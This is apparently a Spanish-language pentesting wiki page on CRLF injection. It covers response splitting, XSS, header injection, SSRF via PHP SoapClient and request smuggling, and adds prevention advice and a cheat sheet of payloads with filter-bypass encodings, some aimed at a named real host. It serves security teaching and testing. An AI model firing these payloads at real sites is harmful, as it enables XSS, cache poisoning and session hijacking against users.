CRLF (%0D%0A) Injection

Bug bounty tip: regístrate en Intigriti, una plataforma de recompensas por errores premium creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

CRLF

Carriage Return (CR) y Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre los encabezados HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en las comunicaciones HTTP/1.1 a través de varios tipos de servidores web, como Apache y Microsoft IIS.

Vulnerabilidad de Inyección CRLF

La inyección CRLF implica la inserción de caracteres CR y LF en la entrada proporcionada por el usuario. Esta acción engaña al servidor, la aplicación o el usuario para interpretar la secuencia inyectada como el final de una respuesta y el comienzo de otra. Aunque estos caracteres no son inherentemente dañinos, su uso indebido puede llevar a la división de respuestas HTTP y otras actividades maliciosas.

Ejemplo: Inyección CRLF en un Archivo de Registro

Ejemplo de aquí

Considera un archivo de registro en un panel de administración que sigue el formato: IP - Hora - Ruta Visitada. Una entrada típica podría verse así:

123.123.123.123 - 08:15 - /index.php?page=home

Un atacante puede explotar una inyección CRLF para manipular este registro. Al inyectar caracteres CRLF en la solicitud HTTP, el atacante puede alterar el flujo de salida y fabricar entradas de registro. Por ejemplo, una secuencia inyectada podría transformar la entrada del registro en:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Aquí, %0d y %0a representan las formas codificadas en URL de CR y LF. Después del ataque, el registro mostraría de manera engañosa:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

El atacante así oculta sus actividades maliciosas haciendo que parezca que el localhost (una entidad típicamente confiable dentro del entorno del servidor) realizó las acciones. El servidor interpreta la parte de la consulta que comienza con %0d%0a como un solo parámetro, mientras que el parámetro restrictedaction se analiza como otra entrada separada. La consulta manipulada imita efectivamente un comando administrativo legítimo: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Descripción

HTTP Response Splitting es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Carriage Return (CR) seguido de Line Feed (LF), denominados colectivamente como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a graves problemas de seguridad, notablemente Cross-site Scripting (XSS).

XSS a través de HTTP Response Splitting

1. La aplicación establece un encabezado personalizado como este: X-Custom-Header: UserInput

2. La aplicación obtiene el valor de UserInput de un parámetro de consulta, digamos "user_input". En escenarios que carecen de una validación y codificación de entrada adecuadas, un atacante puede crear una carga útil que incluya la secuencia CRLF, seguida de contenido malicioso.

3. Un atacante crea una URL con un 'user_input' especialmente diseñado: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• En esta URL, %0d%0a%0d%0a es la forma codificada en URL de CRLFCRLF. Engaña al servidor para que inserte una secuencia CRLF, haciendo que el servidor trate la parte subsiguiente como el cuerpo de la respuesta.

4. El servidor refleja la entrada del atacante en el encabezado de respuesta, lo que lleva a una estructura de respuesta no intencionada donde el script malicioso es interpretado por el navegador como parte del cuerpo de la respuesta.

Un ejemplo de HTTP Response Splitting que lleva a Redirección

De https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Navegador a:

/%0d%0aLocation:%20http://myweb.com

Y el servidor responde con el encabezado:

Location: http://myweb.com

Otro ejemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

En la ruta de URL

Puedes enviar la carga útil dentro de la ruta de URL para controlar la respuesta del servidor (ejemplo de aquí):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

Inyección de Encabezados HTTP

La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que podría llevar al acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies.

Explotación de CORS a través de la Inyección de Encabezados HTTP

Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta brecha permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos.

SSRF e Inyección de Solicitudes HTTP a través de CRLF

La inyección CRLF puede ser utilizada para crear e inyectar una nueva solicitud HTTP completamente. Un ejemplo notable de esto es la vulnerabilidad en la clase SoapClient de PHP, específicamente dentro del parámetro user_agent. Al manipular este parámetro, un atacante puede insertar encabezados adicionales y contenido del cuerpo, o incluso inyectar una nueva solicitud HTTP por completo. A continuación se muestra un ejemplo en PHP que demuestra esta explotación:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Inyección de Encabezados para el Smuggling de Solicitudes

Para más información sobre esta técnica y problemas potenciales consulta la fuente original.

Puedes inyectar encabezados esenciales para asegurar que el back-end mantenga la conexión abierta después de responder a la solicitud inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Después, se puede especificar una segunda solicitud. Este escenario típicamente involucra HTTP request smuggling, una técnica donde los encabezados adicionales o los elementos del cuerpo añadidos por el servidor después de la inyección pueden llevar a varios exploits de seguridad.

Explotación:

1. Inyección de Prefijo Malicioso: Este método implica envenenar la solicitud del siguiente usuario o una caché web especificando un prefijo malicioso. Un ejemplo de esto es:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Inyección de Memcache

Memcache es un almacenamiento de clave-valor que utiliza un protocolo de texto claro. Más información en:

Para la información completa, lea el informe original

Si una plataforma está tomando datos de una solicitud HTTP y usándolos sin sanitizarlos para realizar solicitudes a un servidor memcache, un atacante podría abusar de este comportamiento para inyectar nuevos comandos de memcache.

Por ejemplo, en la vulnerabilidad descubierta originalmente, se usaron claves de caché para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron inyectar comandos de memcache que envenenarían la caché para enviar los detalles de las víctimas (nombres de usuario y contraseñas incluidos) a los servidores del atacante:

Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar la IP y los puertos de los atacantes a usuarios cuyo correo electrónico el atacante no conocía:

Cómo Prevenir Inyecciones CRLF / HTTP Header en Aplicaciones Web

Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o HTTP Header en aplicaciones web, se recomiendan las siguientes estrategias:

1. Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta: El enfoque más seguro es abstenerse de incorporar la entrada proporcionada por el usuario directamente en los encabezados de respuesta.

2. Codificar Caracteres Especiales: Si evitar la entrada directa del usuario no es factible, asegúrese de emplear una función dedicada a codificar caracteres especiales como CR (Carriage Return) y LF (Line Feed). Esta práctica previene la posibilidad de inyección CRLF.

3. Actualizar el Lenguaje de Programación: Actualice regularmente el lenguaje de programación utilizado en sus aplicaciones web a la última versión. Opte por una versión que inherentemente no permita la inyección de caracteres CR y LF dentro de las funciones encargadas de establecer encabezados HTTP.

CHEATSHEET

Cheatsheet desde aquí

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Herramientas Automáticas

• https://github.com/Raghavd3v/CRLFsuite

• https://github.com/dwisiswant0/crlfuzz

Lista de Detección de Fuerza Bruta

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Referencias

• https://www.invicti.com/blog/web-security/crlf-http-header/

• https://www.acunetix.com/websitesecurity/crlf-injection/

• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning

• https://www.netsparker.com/blog/web-security/crlf-http-header/

Consejo de recompensas por errores: regístrate en Intigriti, una plataforma de recompensas por errores premium creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!